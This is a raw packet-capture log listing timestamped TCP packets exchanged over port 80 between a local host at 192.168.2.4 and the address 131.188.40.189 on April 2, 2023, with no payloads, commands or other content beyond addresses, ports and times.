Apr 2, 2023 09:51:05.832479954 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832485914 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.832510948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832604885 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.840753078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.840811968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.840843916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.840871096 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.840873957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.840930939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.840934992 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841002941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841022015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841044903 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841068983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841084957 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841095924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841113091 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841125011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841151953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841187000 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841206074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841221094 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841270924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841270924 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841270924 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841299057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841324091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841342926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841351032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841377974 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841392040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841403961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841434002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841459036 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841474056 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841499090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841522932 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841525078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841552973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841571093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841590881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841609955 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841634035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841665030 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841702938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841747046 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841752052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841778040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841789007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841804981 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841813087 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841839075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841865063 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841897964 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841912031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841924906 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.841936111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841959000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841981888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.841991901 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.842005968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.842025995 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.842031002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.842055082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.842078924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.842081070 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.842103004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.842127085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.842160940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.842195034 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.848846912 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.852952957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869515896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869592905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869590998 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.869647026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869699001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869721889 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.869750977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869800091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869822025 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.869879961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869924068 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.869957924 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.869963884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870003939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870009899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.870079994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870126963 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870150089 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.870167971 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870209932 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870249033 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.870279074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870321989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870389938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870433092 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870482922 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870522976 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870564938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870604992 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870645046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870685101 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870744944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870795012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870839119 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870878935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870907068 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.870918036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870955944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.870995998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871032000 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871035099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871073008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871078014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871110916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871145010 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871150970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871190071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871210098 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871229887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871267080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871306896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871324062 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871345997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871387005 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871427059 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871438980 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871464968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871505022 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871511936 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871555090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871560097 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871603966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871645927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871690989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871687889 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871741056 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871753931 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871789932 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871835947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871869087 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871906996 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.871912956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871954918 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.871994019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872016907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872034073 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872073889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872112989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872137070 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872150898 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872190952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872191906 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872229099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872250080 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872267962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872304916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872338057 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872344017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872385979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872425079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872431040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872463942 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872492075 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872503996 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872545958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872586966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872634888 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872657061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872698069 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872699976 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872742891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872783899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872786999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872828007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872865915 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872895956 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872906923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872941971 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.872945070 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.872984886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873003960 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873023987 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873095036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873105049 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873138905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873178959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873219967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873230934 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873260021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873277903 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873297930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873337030 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873368979 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873375893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873415947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873456001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873481035 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873493910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873528004 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873537064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873605967 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873606920 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873652935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873696089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873733997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873734951 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873773098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873785973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873811960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873878002 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.873888969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873931885 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.873972893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874007940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874010086 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874049902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874063015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874089003 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874126911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874193907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874232054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874274015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874309063 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874313116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874352932 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874363899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874391079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874455929 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874460936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874505997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874551058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874591112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874594927 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874629021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874660015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874667883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874684095 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874727011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874738932 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874768019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874804974 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874839067 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874854088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874881983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874922037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874931097 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.874963045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.874975920 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875001907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875001907 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875027895 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875045061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875083923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875123978 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875164986 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875200033 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875230074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875272989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875277996 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875313997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875320911 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875360012 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875375032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875376940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875391960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875418901 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875448942 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875458002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875495911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875516891 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875536919 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875559092 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875560045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875576973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875593901 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875616074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875650883 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875682116 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875725985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875771046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875786066 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875822067 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875838995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875824928 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875868082 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875879049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875896931 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.875916958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.875925064 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876018047 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876018047 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876071930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876084089 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876115084 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876132965 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876178026 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876184940 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876224995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876285076 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876292944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876338005 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876368999 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876385927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876424074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876460075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876513004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876518965 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876552105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876563072 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876617908 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876631021 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876658916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876710892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876727104 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876785040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876787901 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876827955 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876874924 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876874924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876919031 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876919985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.876938105 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.876996994 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897478104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897509098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897547960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897584915 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897600889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897630930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897630930 CEST	49724	80	192.168.2.4	131.188.40.189
